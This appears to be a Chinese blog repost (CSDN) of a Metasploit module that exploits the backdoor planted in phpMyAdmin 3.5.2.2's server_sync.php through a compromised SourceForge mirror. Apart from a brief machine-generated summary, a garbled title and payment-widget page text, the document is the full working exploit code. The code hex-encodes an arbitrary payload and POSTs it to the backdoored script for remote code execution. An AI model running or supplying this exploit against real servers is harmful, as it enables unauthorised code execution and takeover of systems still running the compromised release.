serversync.php,phpMyAdmin 3.5.2.2 server_sync.php Backdoor - 婕忔礊鍒╃敤 - 0day,Exploit,Shellcode...

该博客介绍了一种针对phpMyAdmin 3.5.2.2版本的任意代码执行漏洞的Metasploit模块。作者利用了一个通过被攻陷的SourceForge镜像植入的后门,详细解释了模块的初始化信息、exploit流程和参数设置。
摘要由CSDN通过智能技术生成

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',

'Description' => %q{

This module exploits an arbitrary code execution backdoor

placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.

},

'Author' => [ 'hdm' ],

'License' => MSF_LICENSE,

'Version' => '$Revision$',

'References' => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],

'Privileged' => false,

'Payload' =>

{

'DisableNops' => true,

'Compat' =>

{

'ConnectionType' => 'find',

},

# Arbitrary big number. The payload gets sent as an HTTP

# response body, so really it's unlimited

'Space' => 262144, # 256k

},

'DefaultOptions' =>

{

'WfsDelay' => 30

},

'DisclosureDate' => 'Sep 25 2012',

'Platform' => 'php',

'Arch' => ARCH_PHP,

'Targets' => [[ 'Automatic', { }]],

'DefaultTarget' => 0))

register_options([

OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])

], self.class)

end

def exploit

uris = []

tpath = datastore['PATH']

if tpath[-1,1] == '/'

tpath = tpath.chop

end

pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

res = send_request_raw( {

'global' => true,

'uri' => tpath + "/server_sync.php",

'method' => 'POST',

'data' => pdata,

'headers' => {

'Content-Type' => 'application/x-www-form-urlencoded',

'Content-Length' => pdata.length,

}

}, 1.0)

handler

end

end

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值